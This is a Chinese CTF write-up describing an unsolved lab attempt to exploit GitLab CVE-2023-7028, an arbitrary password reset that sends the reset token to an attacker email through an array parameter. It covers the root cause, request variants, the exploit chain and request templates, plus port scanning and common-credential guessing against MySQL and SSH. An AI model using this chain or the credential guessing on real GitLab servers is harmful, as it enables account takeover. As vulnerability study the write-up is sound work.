BUUCTF-Real - Web - GitLab CVE-2023-7028 任意密码重置接管

BUUCTF-Real - Web - GitLab CVE-2023-7028 任意密码重置接管
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | BUUCTF-Real(真实漏洞复现) |
| 方向 | Web |
| 难度 | 中等(漏洞利用 + 环境限制) |
| 环境 | 授权靶场(已脱敏),GitLab CE 16.7.0(平台自建镜像),启动约 5 分钟 |
| Flag 位置 | 登录 root 后 → 右上角 Snippets → Your snippets → 私有片段「flag」 |
| 状态 | 未解出(隔离环境无法读取重置邮件) |
说明:题目 ID、练习场 ID、平台友好编号、环境 UUID、靶标域名与动态端口均已脱敏删除,统一记作「授权靶场(已脱敏)」,占位地址
http://target:8080。
信息收集
1. 环境确认
- GitLab CE 16.7.0 启动成功,内部地址指向平台自建镜像(已脱敏)。
- 确认 root 邮箱为
admin@example.com(通过 gravatar MD5e64c7d89f26bd1972efa854d13d7dd61匹配头像 URL 得到)。
2. 漏洞触发点确认
/users/password 端点接受 email 数组形式:
| 请求形式 | 响应 | 说明 |
|---|---|---|
user[email]=admin@example.com(单值) |
200 | 正常重置流程 |
user[email][]=admin@example.com&user[email][]=attacker@example.com |
200 | 数组形式,被接受 |
user[email][0]/[1](显式数字下标) |
500 | 触发不同代码路径(疑似漏洞触发点) |
JSON {"user":{"email":["admin@example.com","attacker@example.com"]}} + X-CSRF-Token |
200 | JSON 数组形式,被接受 |
关键:JSON 数组需配合正确 CSRF(X-CSRF-Token header 或 body 内 authenticity_token),否则返回 404。
3. 端口扫描结果(已脱敏)
对授权靶场做了全端口探测,开放的多为平台共享基础设施端口(HTTP 入口为动态分配、已脱敏)。结论是:主入口之外还存在 openresty 反代、SSH 转发器、MySQL 等旁路口,但均非当前环境专属且需要凭证。
| 类别 | 观察 | 备注 |
|---|---|---|
| HTTP 主入口 | 动态分配端口(已脱敏) | GitLab HTTP |
| 反代端口 | openresty → 邮件服务返回 502 | 上游邮件服务未运行 |
| 平台路由层 | 「共享实例」提示 | 实例路由层 |
| SSH 转发 | banner SSH-2.0-CTF2TargetForwarder |
CTF2 平台端口转发器,需凭证 |
| MySQL | 5.7.40,强凭证 | 常见凭证均 1045 拒绝 |
| 其余端口 | 强制关闭连接/无响应 | 平台基础设施 |
4. 邮件读取尝试(全部失败)
- 无 SMTP(25/587/1025)、POP3(110)、IMAP(143)端口。
- 无 mailhog / mailpit(8025、15000 API 均 404)。
/rails/letter_opener、/letter_opener、/rails/mailers→ 均需认证(未启用)。/admin、/admin/application_settings→ 需认证。/api/v4/application/settings、/api/v4/projects→ 401。- GraphQL
currentUser/user/users/snippets→ 需认证(snippets返回空)。
5. 注册与凭证尝试(全部失败)
- 注册返回「awaiting approval from your GitLab administrator」(需管理员审批)。
- MySQL:root/gitlab/admin/ctf 等 30+ 常见凭证均 1045 拒绝。
- SSH 转发器:root/ctf/admin/gitlab 等常见凭证均认证失败。
漏洞分析
CVE-2023-7028 原理
GitLab CE < 16.7.1 的 /users/password 端点存在任意密码重置漏洞。根因在 app/controllers/users/passwords_controller.rb 的 create action:
1 | # 修复前(16.7.0) |
当攻击者把 user[email] 传成数组(如 ["victim@example.com", "attacker@example.com"])时,修复前的代码会把数组直接传给 Devise 的 send_reset_password_instructions,导致重置邮件(含同一个 reset_password_token)被发到数组中的所有邮箱,而不仅是受害者的注册邮箱。
利用链(标准流程)
- 攻击者向
/users/password发送user[email][] = ["admin@example.com", "attacker@example.com"]。 - GitLab 向 root(
admin@example.com)与攻击者(attacker@example.com)各发一封含同一 token 的重置邮件。 - 攻击者读取自己邮箱,拿到
reset_password_token。 - 访问
/users/password/edit?reset_password_token=<token>设置新密码。 - 用新密码登录 root → 读私有 snippet「flag」。
利用过程
标准利用链的前两步(触发 → 向数组内多邮箱发送同一 token)已打通,卡在第三步(攻击者读取自己邮箱的 token)。
补充探测:销毁并重启环境验证邮件服务
为验证「重启后邮件服务是否就绪」这一假设,销毁旧环境并重新启动:
- 旧环境(HTTP 入口已脱敏)→ 销毁。
- 新环境(动态分配的新端口,已脱敏)→ 端口动态分配,非固定。
结论:
- 环境端口是动态分配的,环境详情
access_urls仅返回单一 GitLab HTTP 入口,无额外邮件/SSH/MySQL 访问地址或凭证。 - 重启后相关旁路口仍开放,但这是平台共享基础设施端口(非当前环境专属)。
- 反代邮件服务端口依旧 502(openresty 上游邮件服务始终未运行),说明邮件服务缺失是平台配置层面问题,重启无法解决。
- 部分端口是机房安全管理系统拦截页(「网站未备案」)或静态 nginx 404,非靶机服务。
- 反代端口对不同
Hostheader(localhost / mail.local / mailhog / mailpit / 容器 hostname 等)均 502,非 Host 路由问题。 - GraphQL 未认证可访问,但
user/users查询均返回权限错误,无法枚举 root 或读 token。
完整 EXP
CVE 触发请求(标准利用链前两步,已脱敏):
1 | POST /users/password |
JSON 数组形式(需正确 CSRF):
1 | POST /users/password |
拿到 token 后重置 root 密码(本环境未走到此步):
1 | GET /users/password/edit?reset_password_token=<token> |
Flag
(未解出 / 未获取)。本题按 manifest 标记为 unresolved=true:漏洞触发点确认可用,但隔离环境下「重置邮件读取」一环无法从外部攻击面突破,未登录 root、未读到私有 snippet「flag」,此处不编造 flag。
踩坑与总结
核心卡点(未解决):隔离环境无外发邮件,重置 token 邮件无法读取。 需确定的邮件投递/读取机制(任一即可突破):
- SSH 端口转发器的凭证 → 转发到容器内网邮件服务。
- MySQL 的凭证 → 直接读
users.reset_password_token或改 root 密码。 - 容器内网邮件服务(mailhog / mailpit)的访问方式。
最终结论:
- 无外发/可读邮件服务(无 SMTP/POP3/IMAP/mailhog/mailpit/letter_opener 入口,反代上游 502)。
- MySQL、SSH 转发器凭证均未知,且平台规则禁止爆破。
- GraphQL / API 未认证无法读取
reset_password_token。 - 平台上该题尚无人解出,且环境要求靶机在线方可提交。
待补充清单:
- 确定邮件读取机制,拿到
reset_password_token - 重置 root 密码并登录
- 读私有 snippet「flag」,提交 flag
仅记录授权环境下的靶场研究;漏洞触发点已验证,复现受平台隔离环境限制未完成。







